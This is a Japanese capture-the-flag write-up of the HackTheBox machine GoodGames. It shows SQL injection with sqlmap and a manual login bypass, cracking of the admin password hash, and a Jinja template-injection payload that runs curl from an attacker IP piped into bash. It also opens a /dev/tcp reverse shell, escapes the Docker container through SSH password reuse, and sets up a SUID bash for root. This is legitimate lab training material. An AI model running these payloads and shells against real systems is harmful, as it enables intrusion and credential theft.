【HackTheBox】GoodGames Writeup
Enumeration
nmap
port 80がopenになっています。
Website Enumeration
サイトにアクセスしてみるとこんな感じです。
gobuster
の結果はこれです。カスタムの404ページがあるので、レスポンスのlengthでフィルターします。
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.11.130 --exclude-length 9265
===============================================================
...[snip]...
===============================================================
/blog (Status: 200) [Size: 44212]
/forgot-password (Status: 200) [Size: 32744]
/login (Status: 200) [Size: 9294]
/logout (Status: 302) [Size: 208] [--> http://10.10.11.130/]
/profile (Status: 200) [Size: 9267]
/server-status (Status: 403) [Size: 277]
/signup (Status: 200) [Size: 33387]
Progress: 4614 / 4615 (99.98%)
===============================================================
ユーザーのアクション関連のリンクが結構ありました。
適当にユーザーを作って、ログインした状態でさらにenumerationしてみましたが、攻撃できそうなところがなさそうでした。ブログのコメント投稿も、ユーザー情報の編集もdummyでした。
操作できるのはユーザーの登録とログインだけみたいなので、ログインフォームのSQLiをチェックしてみようと思います。burpでリクエストをみるとこんな感じになっています。
SQLi
Using sqlmap
sqlmapでインジェクションできそうか調べます。
┌──(kali㉿kali)-[~]
└─$ sqlmap 'http://10.10.11.130/login' --data 'email=test@test.com&password=testpw'
...[snip]...
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=test@test.com' AND (SELECT 9287 FROM (SELECT(SLEEP(5)))DVZc) AND 'YumH'='YumH&password=testpw
---
time-based blind injectionができるみたいです。ではdb、tablesを確認していきます。
┌──(kali㉿kali)-[~]
└─$ sqlmap 'http://10.10.11.130/login' --data 'email=test@test.com&password=testpw' --batch -D main --tables
...[snip]...
available databases [2]:
[*] information_schema
[*] main
mainの中のテーブルを見てみます。
┌──(kali㉿kali)-[~]
└─$ sqlmap 'http://10.10.11.130/login' --data 'email=test@test.com&password=testpw' --batch -D main --tables
...[snip]...
Database: main
[3 tables]
+---------------+
| user |
| blog |
| blog_comments |
+---------------+
userテーブルの中身をdumpします。sqlmapの中のパスワードクラックも実行します。
┌──(kali㉿kali)-[~]
└─$ sqlmap 'http://10.10.11.130/login' --data 'email=test@test.com&password=testpw' --batch -D main -T user --dump
...[snip]...
Database: main
Table: user
[2 entries]
+----+-------+---------------------+-------------------------------------------+
| id | name | email | password |
+----+-------+---------------------+-------------------------------------------+
| 1 | admin | admin@goodgames.htb | 2b22337f218b2d82dfc3b6f77e7cb8ec |
| 2 | test | test@test.com | 8eee3efdde1eb6cf6639a58848362bf4 (testpw) |
+----+-------+---------------------+-------------------------------------------+
さっき作ったテストユーザーとadminの情報がありました。adminのパスワードはsqlmapでクラックできなかったので、後でhashcatでクラックします。
Manual SQLi
sqlmapのtime-based blind injectionが遅すぎて、実行している間に手動でSQLiやってみました。
'or 1=1 --
で簡単にlogin bypassできました。
union injectionを試していきます。まずはカラムの数をテストします。4でいけました。
dbの名前を確認したら、mainでした。
mainの中のtableを確認すると、blog, blog_comments, userがありました。
credentailsはたぶんuserテーブルにあるので、userのカラムを確認します。
id, email, password, nameがありました。文字列がくっついてみづらいのでconcatで少しフォーマット整えばよかった、、
ではuserテーブルの中身をみます。問題なく中身を見ることができました。
シンプルなunion injectionだったので、sqlmapのtime-based blindより全然速かったです。
Crack Admin Password
hashの種類を調べてみます。
┌──(kali㉿kali)-[~]
└─$ hashid -m -j 2b22337f218b2d82dfc3b6f77e7cb8ec
Analyzing '2b22337f218b2d82dfc3b6f77e7cb8ec'
[+] MD2 [JtR Format: md2]
[+] MD5 [Hashcat Mode: 0][JtR Format: raw-md5]
[+] MD4 [Hashcat Mode: 900][JtR Format: raw-md4]
[+] Double MD5 [Hashcat Mode: 2600]
一番上に出てきたのはmd2ですが、hashcat
はmd2のモードがないのでとりあえず2番目のmd5でクラックしてみます。
┌──(kali㉿kali)-[~]
└─$ hashcat -m 0 -a 0 hash /usr/share/wordlists/rockyou.txt
...[snip]...
2b22337f218b2d82dfc3b6f77e7cb8ec:superadministrator
パスワードはsuperadministratorでした。ではadmin@goodgames.htb:superadministratorでログインします。
ログインすると、右上に今までなかったアイコンが出てきました。
クリックするとhttp://internal-administration.goodgames.htb/login
に遷移したので、このsubdomainを/etc/hosts
に入れます。
admin:superadministratorで入れました。
Admin Dashboard Enumeration
いろいろ見てみましたが、実際操作できる機能はユーザー情報の編集だけでした(file upload, add new tasksはdummyでした)。編集フォームのnameのところでcommand injectionを試します。
{{7*7}}を名前のところに入れてみます。
{{config}}を入れるとこうなります。インジェクションの脆弱性が確認できました。
Foothold
SSTI & User Flag
command injectionでreverse shell取ります。
reverse shellのスクリプト作って、serverを起動します。
┌──(kali㉿kali)-[~]
└─$ echo '/bin/sh -i >& /dev/tcp/10.10.14.9/9001 0>&1' > bashrevshell
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
payloadを{{request.application.__globals__.__builtins__.__import__('os').popen('curl http://10.10.14.9:80/bashrevshell | bash').read()}}
にしてsubmitするとshellが取れました。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.130] 58290
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# ls
Dockerfile
project
requirements.txt
Dockerfileがあったのでここはコンテナの中みたいです。コンテナのroot権限は持っています。
フラグ読めるかどうか試します。
# python3 -c 'import pty; pty.spawn("/bin/bash")'
root@3a453ab39d3d:/# cd /home
root@3a453ab39d3d:/home# ls
augustus
root@3a453ab39d3d:/home# ls augustus
user.txt
userフラグゲットできました。
/root
にroot.txt
がなかったので、コンテナから出て本当のサーバーに入らないといけないです。
Docker Escape
Container Enumeration
Find Mounted Directories
/home/augustus
のls
するとこんな感じです。
file ownerはユーザーの名前ではなく1000になっていますので、このディレクトリはdocker hostからマウントしたっぽいです。(詳細:https://www.baeldung.com/linux/file-ownership-docker-container)
root@3a453ab39d3d:/home/augustus# ls -l
-rw-r----- 1 root 1000 33 May 21 12:09 user.txt
findmntでも確認してみます。やはりhostからマウントしています。
root@3a453ab39d3d:/home/augustus# findmnt | grep augustus
├─/home/augustus /dev/sda1[/home/augustus]
Discover Docker Host
ifconfigを確認すると、このコンテナのアドレスは172.19.0.2
でした。172.19.0.1
は多分docker hostですが、nmapを実行して確認します。
root@3a453ab39d3d:/backend# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.19.0.2 netmask 255.255.0.0 broadcast 172.19.255.255
ether 02:42:ac:13:00:02 txqueuelen 0 (Ethernet)
RX packets 1306 bytes 236423 (230.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1027 bytes 438702 (428.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
githubからnmap
のbinaryをローカルにダウンロードして、shellの中でwgetします。権限変更したら、subnetをスキャンします。
root@3a453ab39d3d:/backend# wget http://10.10.14.9:80/nmap_binary/nmap
root@3a453ab39d3d:/backend# chmod 777 nmap
root@3a453ab39d3d:/backend# ./nmap 172.19.0.0/24 -Pn
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-05-21 13:35 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.19.0.1
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000021s latency).
Not shown: 1205 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 02:42:11:83:DB:CE (Unknown)
Nmap scan report for 3a453ab39d3d (172.19.0.2)
Host is up (0.000025s latency).
All 1207 scanned ports on 3a453ab39d3d (172.19.0.2) are closed
Nmap done: 256 IP addresses (2 hosts up) scanned in 19.70 seconds
予想通り172.19.0.1
が動いていました。sshも使えそうです。
SSH Login
augustus:superadministratorでログインできました。
これで本当のサーバーに入れました、次は権限昇格です。
root@3a453ab39d3d:/home/augustus# ssh augustus@172.19.0.1
Privilege Escalation
もう一つのterminalでroot@3a453ab39d3d
のreverse shellを取ります。root@3a453ab39d3d
とaugustus@GoodGames
両方使ってpriv escしていきます。
試しにroot@3a453ab39d3d
で/home/augustus
にファイルを作ってみます。
root@3a453ab39d3d:/home/augustus# touch from-docker-root
root@3a453ab39d3d:/home/augustus# ls -l
-rw-r--r-- 1 root root 0 May 22 13:19 from-docker-root
-rw-r----- 1 root 1000 33 May 22 13:13 user.txt
augustus@GoodGames
側からみるとこんな感じです。ファイルの所有者がrootになっています。コンテナ側のrootも普通のroot扱いになっているみたいです。
augustus@GoodGames:~$ ls -l
-rw-r--r-- 1 root root 0 May 22 14:19 from-docker-root
-rw-r----- 1 root augustus 33 May 22 14:13 user.txt
augustus@GoodGames
側で/bin/bash
を/home/augustus
にコピーして、コンテナ側(root)でSUIDを設定をするとroot shell取れるはずです。
augustus@GoodGames:~$ cp /bin/bash .
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod 4777 bash
root@3a453ab39d3d:/home/augustus# ls -l
-rwsrwxrwx 1 root root 1234376 May 22 13:26 bash
-rw-r--r-- 1 root root 0 May 22 13:19 from-docker-root
-rw-r----- 1 root 1000 33 May 22 13:13 user.txt
augustus@GoodGames:~$ ./bash -p
bash-5.1# whoami
whoami
root
bash-5.1# cat /root/root.txt
rootフラグ取れました。
Notes
初めてpriv escを試した時はhost側のbashではなく、コンテナ側のbashを/home/augustus
にコピーしました。shared libraryのエラーで失敗したのでメモと残します、、
root@3a453ab39d3d:/home/augustus# cp /bin/bash .
root@3a453ab39d3d:/home/augustus# chmod 4777 ./bash
augustus@GoodGames:~$ ./bash -p
./bash -p
./bash: error while loading shared libraries: libtinfo.so.5: cannot open shared object file: No such file or directory
lssで依存関係を確認してみたら、確かにdocker host側はlibtinfo.so.5
がありませんでした。host側のbashを使わないといけないです。
root@3a453ab39d3d:/home/augustus# ldd bash
linux-vdso.so.1 (0x00007ffc98de6000)
libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff639548000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff639344000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff638fa5000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff639772000)
augustus@GoodGames:~$ ldd bash
linux-vdso.so.1 (0x00007fff659b0000)
libtinfo.so.5 => not found
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f0b47867000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0b476a2000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0b47876000)
Memo
SQLi, SSTI, docker escape, SUID abuseなどいろいろ練習できて楽しいマシーンでした。
Discussion